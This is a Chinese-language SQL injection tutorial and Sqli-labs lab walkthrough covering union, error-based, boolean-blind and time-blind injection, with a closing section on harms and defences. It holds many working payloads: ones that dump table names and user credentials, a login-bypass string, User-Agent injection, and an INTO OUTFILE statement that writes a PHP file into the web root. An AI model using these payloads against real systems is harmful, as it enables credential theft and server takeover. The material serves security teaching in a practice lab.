一、SQL注入原理
动态页面有时会通过脚本引擎将用户输入的参数按照预先设定的规则构造成SQL语句来进行数据库操作,SQL注入指的就是通过构造特殊的输入作为参数传入Web应用程序,改变原有的SQL语句的语义来执行攻击者所要的操作。
二、SQL注入分类
判断注入漏洞的依据是根据客户端返回的结果来判断提交的测试语句是否成功被数据库引擎执行,如果测试语句被执行了,说明存在注入漏洞。
基于获取数据的方法进行分类,分为以下四种注入方法,这四种通常又分为两种情况:有回显和无回显。
有回显是指SQL语句返回的内容有显示在页面中;无回显是页面输出的内容并不是SQL语句返回的内容,而是“真”和“假”。
1.联合查询注入
联合查询注入的作用是在原来查询条件的基础上,通过union
拼接上select
语句,union操作符是实现联合查询的关键,用于合并两个或多个select
语句的结果集;当union
之前的select
语句结果集为空时,查询结果将由union
后的select
语句控制。
联合查询语句构造步骤:order by
判断原有查询语句的列数→使原有查询语句的结果为空→判断数据输出位置→使用union
语句拼接目标数据的查询语句。
对于页面有回显,通常使用联合查询注入,可以快速爆出数据。
2.报错注入
报错注入经过构造的函数,让函数处理user()
等不合规定的数据,引发mysql报错;几乎任何与数据库有关的操作经过sql拼接都可以产生报错注入;当执行的SQL语句出错时返回错误信息,在错误信息中返回数据库的内容。
构造报错注入语句的基本步骤:构造目标数据查询语句→选择报错注入函数→构造报错注入语句→拼接报错注入语句。常见的报错注入函数有如下:floor()
、extractvalue()
、updatexml()
等。
报错注入一般使用在查询不回显数据,但会打印错误信息的页面中。
3.布尔盲注
布尔盲注以页面回显内容的不同作为判定依据,通过构造语句返回页面的“真”和“假”来判断数据库信息的正确性。
使用布尔盲注提取数据的基本步骤:构造目标数据查询语句→选择拼接方式→构造判断表达式→提取数据长度→提取数据内容。常见拼接方式选择有如下:原始条件真and
判断条件真,原始条件假OR
判断条件真等。
若网页设置了无报错信息返回,在不回显数据+不返回报错信息的情况下,只剩下盲注方法可用,而布尔盲注使用在对真/假条件的返回内容很容易区分的页面中。
4.时间盲注
时间盲注通过构造语句,通过页面响应的时长来判断信息;时间盲注的关键点在于if()函数,通过条件语句进行判断,为真则立即执行,否则延时执行,通常使用sleep()等专用的延时函数来进行延时操作。
时间盲注与布尔盲注的语句构造过程相似,通常在布尔盲注表达式的基础上使用if函数加入延时语句来构造。通常情况下,盲注需要逐个字符进行判断,极大增加了时间成本,而对于时间盲注来说,还需要额外的延迟时间来作为判断的标准。
所以,在布尔盲注永假条件所返回的内容与正常语句返回的内容很接近或相同,无法判断的情况下,可使用时间盲注。
三、结合Sqli-labs靶场less-1~20分析
Sqli-labs靶场配置:
Web容器:PhpStudy v8.1
PHP:5.2.17nts
Apache:2.4.39
MySQL:5.7.26
1.联合查询注入
联合查询具体步骤:
order by //确定列数
union select 1,2,3 //显示回显位
union select 1,database(),user() //通过回显位爆出内容
union select 1,2,group_concat(schema_name) from information_schema.schemata //爆库
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() //爆表
union select 1,2,group_concat(column_name) from information_schema.columns where table_name='表名' and table_schema=database() //爆列
union select 1,2,group_concat(列名) from 表名 //爆值
例1.less-1:
GET请求,在id
的值后加入单引号进行尝试,发现页面报错,根据信息得知,语句后多了个'
,
于是使用--+
注释进行闭合语句,页面正常回显数据,故确定该关使用的是单引号拼接;
利用order by
确定列数,用order by 3
发现数据回显正常,
order by 4
页面报错,于是可以确定列数为3;
然后利用联合查询来进行注入,先将前面id
的值改为返回结果为空,再使用union select 1,2,3
判断回显位置,
通过回显位爆出数据库名、用户名等信息;
根据数据库进行爆表,构造payload
:
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
获得以下表名:
根据表名进行爆列,构造payload
:
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'--+
获取以下列名:
根据列与表,构造payload
,查询出数据如下:
-1' union select 1,group_concat(username),group_concat(password) from users --+
例2.less-7:
GET请求,在id
的值后加上'))
,页面报错,
')) --+
闭合语句后,页面正常显示;
根据页面的提示,可以利用outfile
进行读写文件,但需要知道路径,可在less-1查询一下数据路径;
使用outfile
构造payload
写入文件:
-1')) union select group_concat(username),group_concat(password),'<?php phpinfo() ?>' from users into outfile "D://phpStudy//PHPTutorial//WWW//1.php" --+
页面虽然报错,但文件已写入到目录下了,访问该文件,获取到数据库数据和phpinfo信息。
例3.less-11:
POST请求提交表单,uname
参数加上单引号进行提交,页面报错,
加上#
闭合语句;
构造万能密码/永真语句尝试登录,
uname:1' or 1=1#
passwd:随便输
成功登录,回显数据;
可利用联合查询注入获取数据库信息数据。
2.报错注入
报错注入函数:
extractvalue(1,concat(0x7e,(select user()),0x7e)) //extractvalue报错将输出的字符长度限制为32位
updatexml(1,concat(0x7e,(select database()),0x7e),1) //updatexml报错将输出的字符长度限制为32位
select count(\*) from information_schema.tables GROUP BY concat((select database()),floor(rand(0)\*2)) //floor报错将输出字符长度限制为64个字符
例4.less-5:
GET请求,在id
的值后加上'
,页面报错,
' --+
闭合语句后,页面正常显示,但是与之前关卡不同的是,无数据回显;
利用报错函数来进行注入,构造payload
获取数据库信息:
1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+
构造payload
获取以下表名:
1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))--+
构造payload
获取列名:
1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e))--+
构造payload
根据获取到的列与表查询数据:
1' and extractvalue(1,concat(0x7e,(select group_concat(username) from users),0x7e))--+
例5.less-13:
POST请求提交表单,使用')#
闭合语句;
构造万能密码/永真语句进行登录,登录成功,无回显数据;
使用报错注入获取数据。
例6.less-18:
表单处输入错误的账号密码,只显示IP
,
输入正确的账号密码后,显示IP
与User Agent
;
查看源代码,发现uname
和passwd
参数都要经过check_input()
函数进行过滤,故表单处无注入点;
$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1){
echo '<font color= "#FFFF00" font size = 3 >';
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
mysql_query($insert);
//echo 'Your IP ADDRESS is: ' .$IP;
......
print_r(mysql_error());
......
}
只有输入正确的账号密码才能进入insert
语句,insert
语句处未对uagent
和ip_address
进行过滤,且输出了mysql的报错信息,故可利用这两个参数进行报错注入利用;
PHP里用来获取客户端IP的变量:
$_SERVER['HTTP_CLIENT_IP'] //这个很少使用,不一定服务器都实现了;客户端可以伪造
$_SERVER['HTTP_X_FORWARDED_FOR'] //客户端可以伪造
$_SERVER['REMOTE_ADDR'] //客户端不能伪造
源码中的IP
无法被伪造,于是只能修改user-agent
进行注入;
user-agent
修改为1'时,报错,
因为源码中uagent
参数是在IP
和uname
之前,若是加入注释符,会导致insert
语句异常,无法进行查询,所以注入语句中不使用注释符,
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
闭合语句后,正常显示;
使用报错注入获取数据。
3.布尔盲注
布尔盲注步骤:
length(database()) //判断数据库名长度
ascii(substr((database()),s,1))=可用ASCII码值 //从数据库库名第s位开始,截取一位,进行逐一猜解;数据库库、表、字段所有名称的可用字符范围为A-Z、a-z、0-9和下划线,也就是ASCII码值从48到122
length((select table_name from information_schema.tables where table_schema=database() limit 3,1)) //判断数据库中的第4个表表名长度,第1个表从0开始
ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),s,1))=可用ASCII码值 //逐一猜解第4个表的表名
//之后逐一猜解列名与数据
例7.less-8:
GET请求,在id
的值后加上'
,页面异常显示,且无报错信息,
'--+
闭合语句后,页面正常显示,无数据回显;
利用布尔盲注进行注入,首先判断数据库库名长度,测试长度小于5时,页面报错,
长度等于8时页面正常显示,于是数据库库名长度为8;
知道数据库长度后,逐一猜解数据库名,构造payload
:
1' and ascii(substr(database(),s,1))=n--+ //s范围为1-8,n范围为48-122
使用burp的Intruder
模块进行数据库名每个字符的逐一猜解
根据爆破结果,逐个对应ASCII码,得出了数据库名security
;
逐一猜解数据库下的表名,以猜解第4个表为示范,首先判断长度,长度为5,
构造payload
逐一猜解表名:
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),s,1))=n--+ //s范围为1-5,n范围为48-122
使用burp的Intruder
模块进行爆破,
根据爆破结果,逐个对应ASCII码,得出表名为users
;
以下同理猜解列名与数据,因步骤繁琐,故不重复分析。
例8.less-15:
uname
参数使用'#
闭合语句,无闭合语句情况下,页面无报错信息;
使用万能密码/永真语句进行登录,无回显数据;
使用布尔盲注进行注入,构造payload
:
1' or length(database())=8# //当or后面的语句为真时,可成功登录
后续步骤如上文描述,故不重复。
4.时间盲注
时间盲注步骤:
sleep() //使用延时函数进行判断
if(length(database())=数字,sleep(2),0) //if()函数判断数据库长度,if(Condition,A,B),当Condition为true时返回A,当Condition为false时返回B
if(ascii(substr(database(),s,1))=可用ASCII码值,sleep(2),0) //使用if函数,从第S位开始截取一位,逐一猜解数据库名,可用ASCII码值范围为48-122
if(length(select table_name from information_schema.tables where table_schema=database() limit 3,1)=数字,sleep(2),0) //逐一猜解数据库第4个表长度,第1个表从0开始
if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),s,1))=可用ASCII码值,sleep(2),0) //逐一猜解数据库第4个表表名
//逐一猜解列名、数据
例9.less-9:
查看源代码,发现回显页面无变化,sql查询语句需要单引号闭合,只能采用时间盲注进行注入;
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row){
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
首先使用sleep()
函数判断是否存在延时注入,输入id=1
时浏览器正常响应,加入sleep()
函数后,发现浏览器延迟两秒响应,所以存在时间盲注;
用if()
函数进行判断,构造payload
判断数据库长度:
1' and if(length(database())=8,sleep(2),0)--+
测试长度为7时页面正常响应,长度为8时延迟响应,故判断出数据库长度为8;
构造payload
逐一猜解数据库名:
1' and if(ascii(substr(database(),s,1))=n,sleep(2),0)--+ //s范围为1-8,n范围为48-122
浏览器响应时间变长,说明if
条件为真执行了sleep()
函数,因此数据库逐一猜解得出security
;
同理逐一猜解表名、列名、数据,由于时间盲注耗时长且步骤繁琐,故不重复分析。
四、SQL注入危害
SQL注入危害包含但不仅限于以下危害:
1.数据库信息泄露:数据库中存放的用户信息数据泄露,攻击者甚至可能获取到网站管理员账号密码,对网站后台进行登录与操作等;
2.网页篡改:通过操作数据库对特定网页进行篡改,可严重影响正常业务进行;
3.网站被挂马:将恶意文件写入数据库中,修改数据库字段值,嵌入木马链接,进行挂马攻击;
4.数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员账号被篡改;
5.文件系统操作:列取目录、读取、写入shell文件获取webshell,远程控制服务器,安装后门,经由数据库服务器提供的操作系统支持,让攻击者得以修改或操控操作系统等。
6.执行系统命令:远程命令执行,可破坏硬盘数据,瘫痪全系统。
五、SQL注入防范
SQL注入的主要原因是程序没有采用必要的措施避免用户输入内容改变原有SQL语句的语义,以下列举一些防范方法:
1.绑定变量,采用SQL语句预编译,该方法是预防SQL注入的最佳方式;
2.严格控制数据类型和长度;
3.对用户输入的数据进行过滤和转义;
4.避免网站显示SQL执行出错信息;
5.严格限制网站访问数据库的权限。
参考
SQL注入的分类总结
SQL注入分类详解
SQLI labs靶场精简学习记录
SQL注入及其危害、防御手段